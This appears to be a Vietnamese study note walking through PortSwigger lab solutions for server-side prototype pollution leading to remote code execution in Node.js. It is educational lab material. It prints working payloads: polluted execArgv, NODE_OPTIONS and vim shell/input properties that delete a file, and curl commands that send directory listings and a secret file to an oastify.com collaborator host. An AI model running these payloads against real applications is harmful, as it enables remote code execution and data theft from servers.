Identifying a Vulnerable Request

Biến môi trường NODE_OPTIONS cho phép chúng ta định nghĩa một chuỗi các đối số dòng lệnh sẽ được sử dụng theo mặc định bất cứ khi nào chúng ta khởi động một tiến trình Node mới. Vì đây cũng là một thuộc tính trên đối tượng env, chúng ta có thể kiểm soát nó thông qua prototype pollution nếu nó không được định nghĩa.

Một số hàm của Node để tạo các tiến trình con mới chấp nhận một thuộc tính tùy chọn là shell, cho phép các nhà phát triển đặt một shell cụ thể, chẳng hạn như bash, để chạy các lệnh. Bằng cách kết hợp điều này với một thuộc tính NODE_OPTIONS độc hại, chúng ta có thể làm ô nhiễm prototype theo cách gây ra tương tác với Burp Collaborator bất cứ khi nào một tiến trình Node mới được tạo:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

Tip

Dấu ngoặc kép được thoát trong tên máy chủ không hoàn toàn cần thiết. Tuy nhiên, điều này có thể giúp giảm các trường hợp dương tính giả bằng cách làm rối tên máy chủ để tránh các WAF và các hệ thống khác quét tìm tên máy chủ.

Remote Code Execution via child_process.fork()

Phương thức child_process.fork() chấp nhận một đối tượng tùy chọn trong đó một trong những tùy chọn tiềm năng là thuộc tính execArgv. Đây là một mảng các chuỗi chứa các đối số dòng lệnh sẽ được sử dụng khi tạo tiến trình con. Nếu nó không được các nhà phát triển định nghĩa, điều này cũng có khả năng có nghĩa là nó có thể được kiểm soát thông qua prototype pollution.

Đặc biệt đáng quan tâm là đối số --eval, cho phép chúng ta truyền vào JavaScript tùy ý sẽ được thực thi bởi tiến trình con.

"execArgv": [
    "--eval=require('<module>')"
]

Lab: Remote Code Execution via Server-side Prototype Pollution

Mục tiêu của lab này là xóa tệp /home/carlos/morale.txt.

Phát hiện prototype pollution:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "__proto__": {
    "json spaces": 16
  }
}

Phản hồi cho thấy chúng ta có thể khai thác lỗ hổng prototype pollution:

{
          "username": "wiener",
          "firstname": "Peter",
          "lastname": "Wiener",
          "address_line_1": "Wiener HQ",
          "address_line_2": "One Wiener Way",
          "city": "Wienerville",
          "postcode": "BU1 1RP",
          "country": "UK",
          "isAdmin": true,
          "json spaces": 16
}

Thêm thuộc tính envNODE_OPTIONS:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "__proto__": {
    "json spaces": 16,
    "env": {
      "EVIL": "console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())//"
    },
    "NODE_OPTIONS": "--require /proc/self/environ"
  }
}

Giải thích:

  • Giá trị của EVIL sẽ được thêm vào /proc/self/environ như một biến môi trường.
  • // cuối cùng được sử dụng để chú thích phần còn lại của nội dung /proc/self/environ khi tệp này được coi là một tệp JavaScript.
  • Tùy chọn --require sẽ tải tệp /proc/self/environ và coi nó như một tệp JavaScript cũng như chạy nó.

Info

Sau đó, gửi một POST request đến /admin/jobs để tạo các tiến trình con:

POST /admin/jobs HTTP/2
Host: 0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Cookie: session=ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll
Content-Length: 126
Content-Type: application/json;charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Origin: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net
Referer: https://0a5d0001031c89d981a598bd00b40041.web-security-academy.net/admin
 
{
  "csrf": "rlyQZboJav3ePsQ2Dir3u4AkeNlUEJCA",
  "sessionId": "ZSaA7bFGe3moF6bgqij3GaPpKmgAsoll",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}

Phản hồi của nó

HTTP/2 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 585
 
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Database cleanup",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Unexpected error."
      }
    }
  ]
}

Đồng thời, lab cũng được giải quyết.

Một giải pháp khác:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "JF9mvjgbIw2SIrq78FBuvTOWNwB8XmgY",
  "__proto__": {
    "execArgv": [
      "--eval=console.log(require('child_process').execSync('rm /home/carlos/morale.txt').toString())"
    ]
  }
}

Remote Code Execution via child_process.execSync()

Trong một số trường hợp, ứng dụng có thể tự gọi phương thức execSync() để thực thi các lệnh hệ thống.

Giống như fork(), phương thức execSync() chấp nhận một đối tượng tùy chọn có thể bị thao túng thông qua chuỗi prototype.

Để chèn các lệnh hệ thống, chúng ta có thể khai thác các thuộc tính shellinput:

  • Tùy chọn input là một chuỗi mà execSync() gửi đến stdin của tiến trình con để được thực thi như một lệnh. Tùy chọn này có thể được để không xác định nếu lệnh được cung cấp theo cách khác.
  • Tùy chọn shell chỉ định shell nào sẽ sử dụng, mặc định là shell hệ thống, và cũng có thể được để không xác định.

Bằng cách làm ô nhiễm các thuộc tính này, chúng ta có thể ghi đè lệnh dự định bằng một lệnh độc hại:

  • Tùy chọn shell chỉ lấy tên thực thi của shell không có các đối số bổ sung.
  • Shell được thực thi với -c, nhưng trong Node, cờ này kích hoạt kiểm tra cú pháp thay vì chạy script, gây khó khăn cho việc sử dụng chính Node làm shell.
  • Shell phải chấp nhận các lệnh từ stdin vì payload thuộc tính input được truyền theo cách này.

Mặc dù chúng không thực sự được dự định là shell, các trình soạn thảo văn bản Vimex đều đáp ứng tất cả các tiêu chí này một cách đáng tin cậy. Nếu một trong hai trình soạn thảo này được cài đặt trên máy chủ, điều này sẽ tạo ra một vector tiềm năng cho RCE:

"__proto__": {
	"shell":"vim",
	"input":":! <command>\n"
}

Một hạn chế nữa của kỹ thuật này là một số công cụ mà chúng ta có thể muốn sử dụng cho exploit của mình cũng không đọc dữ liệu từ stdin theo mặc định. Tuy nhiên, có một vài cách đơn giản để giải quyết vấn đề này. Trong trường hợp của curl, chẳng hạn, chúng ta có thể đọc stdin và gửi nội dung làm phần thân của một POST request bằng cách sử dụng đối số -d @-.

Trong các trường hợp khác, chúng ta có thể sử dụng xargs, chuyển đổi stdin thành một danh sách các đối số có thể được truyền cho một lệnh.

Lab: Exfiltrating Sensitive Data via Server-side Prototype Pollution

Info

Làm theo giải pháp được cung cấp để giải quyết lab này.

Lỗ hổng được xác nhận bằng cách kiểm tra với cách tiếp cận ghi đè json spaces.

Thêm shellinput vào phần thân request như sau để xác nhận rằng chúng ta có thể gửi request đến Burp Collaborator:

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn",
  "__proto__": {
    "shell": "vim",
    "input": ":! curl http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com\n"
  }
}

Sau đó, gửi POST request đến /admin/jobs để kích hoạt phương thức execSync().

POST /admin/jobs HTTP/2
Host: 0a9300d3033efc9481ae0c3100d9008a.web-security-academy.net
Cookie: session=fKYmuasCzzDAw7H5dzzznh8kzN5pfdSn

Phản hồi cho thấy có một số lỗi:

{
  "results": [
    {
      "name": "db-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100    55  100    55    0     0   6111      0 --:--:-- --:--:-- --:--:--  6111\n\r\nPress ENTER or type command to continue\r\n"
      }
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": {
        "code": 1,
        "message": "Command failed: od -An -N1 -i /dev/random\nVim: Warning: Output is not to a terminal\nVim: Warning: Input is not from a terminal\n\r\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n\r  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\r100    55  100    55    0     0   2500      0 --:--:-- --:--:-- --:--:--  2500\n\r\nPress ENTER or type command to continue\r\n"
      }
    }
  ]
}

Cũng có một số request DNS và HTTP được gửi đến Burp Collaborator, điều này xác nhận rằng chúng ta có thể gửi request đến Burp Collaborator để lấy dữ liệu:

IDTimeTypePayloadSource IP address
12024-Sep-03 13:40:41.971 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj34.245.205.188
22024-Sep-03 13:40:41.970 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.19
32024-Sep-03 13:40:41.971 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.54
42024-Sep-03 13:40:41.970 UTCDNS3korii4766eioqrjgk9olc2k2b82wukj3.251.104.54
52024-Sep-03 13:40:41.976 UTCHTTP3korii4766eioqrjgk9olc2k2b82wukj34.251.122.40
62024-Sep-03 13:40:44.043 UTCHTTP3korii4766eioqrjgk9olc2k2b82wukj34.251.122.40

Tiếp theo, cập nhật lệnh để lấy nội dung của /home/carlos:

ls /home/carlos | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

-d@- có nghĩa là chúng ta chuyển hướng bất kỳ đầu vào nào từ stdin đến phần thân request của một POST request được thực hiện bởi curl.

Có một request được gửi đến Burp Collaborator:

POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
 
node_appssecret

Đây phải là tệp bí mật.

Cập nhật lệnh để đọc tệp đó:

cat /home/carlos/node_appssecret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

Phản hồi cho thấy một lỗi:

cat: /home/carlos/node_appssecret: No such file or directory

Thử liệt kê tệp trong /home/carlos với file thay thế:

file /home/carlos/* | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

Request được gửi đến Burp Collaborator:

/home/carlos/node_apps: directory/home/carlos/secret:    ASCII text, with no line terminators

Vì vậy, tệp chúng ta cần lấy là secret:

cat /home/carlos/secret | curl -d@- http://3korii4766eioqrjgk9olc2k2b82wukj.oastify.com

Request chúng ta muốn:

POST / HTTP/1.1
Host: 3korii4766eioqrjgk9olc2k2b82wukj.oastify.com
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
 
l7IMIBON9RiGma7oK9hILlaGqh0jGcP5
list
from outgoing([[Port Swigger - Remote Code Execution via Server-side Prototype Pollution]])
sort file.ctime asc

Resources